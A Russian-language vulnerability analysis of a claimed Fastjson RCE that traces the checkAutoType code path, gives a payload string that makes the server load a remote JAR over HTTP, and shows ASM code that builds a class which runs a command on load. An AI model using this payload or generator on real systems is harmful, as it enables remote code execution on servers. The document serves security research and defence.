Подробный анализ CVE-2026-16723 и эксплойт-кит для RCE в Fastjson 1.2.83, охватывающий уязвимые пути кода, генерацию вредоносных JAR/байткода и среду Docker Compose для воспроизведения атаки.
Отказ от ответственности: Этот проект предназначен только для исследований безопасности и обучения в авторизованных средах. Тестирование неавторизованных систем запрещено, и пользователь несет полную ответственность за последствия использования.
CVSS 9.0, затрагивает Fastjson 1.2.68 ~ 1.2.83. Не требуется включать AutoType, не нужны сторонние Gadget — эксплуатируется при конфигурации по умолчанию.
Точка входа уязвимости находится в com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Независимо от того, вызывается ли JSON.parse(body) или JSON.parseObject(body, Foo.class), в конечном итоге выполнение достигает этого метода.
Ключевой путь кода (fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
Переключатель AutoType (autoTypeSupport) управляет только ① тем, входить ли, но ② обнаружение аннотаций выполняется безусловно. Как только в ② jsonType становится true, ③ загрузка типа и ④ пропуск проверки безопасности срабатывают последовательно.
String resource = typeName.replace('.', '/') + ".class";
typeName — это значение @type в JSON, полностью контролируемое атакующим. Изначально предполагалось преобразовать com.example.Foo в com/example/Foo.class, но когда на входе оказывается URL, это превращается в конструктор URL.
Поскольку . в hostname также заменяется, атакующий использует целочисленный IP для обхода. 32-битное беззнаковое целое для 127.0.0.1 — это 2130706433:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //, .probe! → /probe!/, получается допустимый локатор ресурса jar:http://.
is = defaultClassLoader.getResourceAsStream(resource);
Может ли getResourceAsStream разрешать jar:http:// как удалённый ресурс, полностью зависит от типа ClassLoader:
| ClassLoader | Поведение |
|---|---|
JDK AppClassLoader | Ищет только в локальном classpath → null |
Tomcat WebappClassLoader (отдельный WAR) | Ищет только в WEB-INF/lib → null |
Spring Boot LaunchedURLClassLoader (fat-JAR) | Поддерживает jar:http:// → загружает байт-код по HTTP |
Здесь есть легко запутывающий момент: когда Tomcat встроен в Spring Boot, ClassLoader прикладных классов — это LaunchedURLClassLoader, а не WebappClassLoader. Поэтому встроенные Tomcat/Jetty/Undertow все попадают в зону поражения.
Когда is != null, байт-код удалённого класса, размещённого атакующим, уже попал в память JVM.
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson использует ASM для сканирования байт-кода и проверки наличия аннотации @com.alibaba.fastjson.annotation.JSONType. Изначальный замысел — оптимизация производительности: быстрое распознавание типов, управляемых Fastjson, посредством аннотации. Однако здесь проверяется только наличие аннотации, не проверяется происхождение байт-кода, не проверяется имя класса, не ограничивается источник. Удалённый class атакующего, лишь бы он нёс @JSONType, получает вердикт jsonType=true.
Обратите внимание, что catch (Exception e) {} пуст — атакующий не получит никакой ошибки.

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true — условие выполнено. loadClass проходит стандартный процесс загрузки класса и через defineClass регистрирует байт-код как объект Class в JVM.
Необходимо различать два понятия: defineClass выполняет определение класса (регистрацию в JVM), а <clinit> выполняется на этапе инициализации класса. Оба этапа могут быть выполнены в рамках одного запроса, но согласно спецификации JVM они независимы.
if (jsonType) {
return clazz;
}
Эта строка обходит все последующие защиты:
ClassLoader/DataSource/RowSetdenyListexpectClass.isAssignableFrom(clazz)Это также объясняет, почему parseObject(body, Dto.class) не защищает: проверка привязки типа происходит после загрузки класса, а код атаки уже выполняется на этапе загрузки.
Злоумышленнику необходимо сгенерировать файл байт-кода, удовлетворяющий трём условиям: содержать аннотацию @JSONType, внедрить код атаки в <clinit>, разместить через HTTP.
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
Вредоносная логика запускается через <clinit>, выполняясь сразу при загрузке класса.
Суть этой цепочки в том, что обнаружение аннотаций Fastjson превращается в удалённый загрузчик классов. Атакующий контролирует значение @type, через преобразование строки конструирует URL, использует getResourceAsStream для инициирования SSRF и извлечения байт-кода, проходит проверку ASM-зонда с помощью аннотации @JSONType, завершает определение класса через loadClass, и наконец return clazz обходит все проверки безопасности.